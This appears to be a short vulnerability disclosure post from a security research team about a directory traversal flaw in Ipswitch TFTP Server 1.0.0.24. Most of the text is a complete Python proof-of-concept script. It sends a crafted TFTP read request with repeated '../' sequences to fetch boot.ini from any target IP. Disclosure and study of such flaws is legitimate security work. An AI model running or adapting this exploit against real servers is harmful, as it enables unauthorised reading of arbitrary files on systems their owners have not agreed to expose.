SecPod Research Team member (Prabhu S Angadi) has found a Directory Traversal vulnerability in Ipswitch TFTP Server. The vulnerability is caused due to improper validation of ‘Read’ request containing ‘../’ sequences. The flaw can be exploited to read arbitrary files via directory traversal attacks.
POC : Download here.
More information on the flaws can be found here.
#!/usr/bin/python
##############################################################################
# Title : Ipswitch TFTP Server Directory Traversal Vulnerability
# Author : Prabhu S Angadi from SecPod Technologies (www.secpod.com)
# Vendor : http://www.whatsupgold.com/index.aspx
# Advisory : http://secpod.org/blog/?p=424
# http://secpod.org/advisories/SecPod_Ipswitch_TFTP_Server_Dir_Trav.txt
# http://secpod.org/exploits/SecPod_Ipswitch_TFTP_Server_Dir_Trav_POC.py
# Version : Ipswitch TFTP Server 1.0.0.24
# Date : 02/12/2011
##############################################################################
import sys, socket
def sendPacket(HOST, PORT, data):
'''
Sends UDP Data to a Particular Host on a Specified Port
with a Given Data and Return the Response
'''
udp_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
udp_sock.sendto(data, (HOST, PORT))
data = udp_sock.recv(1024)
udp_sock.close()
return data
if __name__ == "__main__":
if len(sys.argv) < 2:
print '\tUsage: python exploit.py target_ip'
print '\tExample : python exploit.py 127.0.0.1'
print '\tExiting...'
sys.exit(0)
HOST = sys.argv[1] ## The Server IP
PORT = 69 ## Default TFTP port
data = "\x00\x01" ## TFTP Read Request
data += "../" * 10 + "boot.ini" + "\x00" ## Read boot.ini file using directory traversal
data += "netascii\x00" ## TFTP Type
## netascii
rec_data = sendPacket(HOST, PORT, data)
print "Data Found on the target : %s " %(HOST)
print rec_data.strip()
Welcome any feedback or suggestion.
Cheers!
SecPod Research Team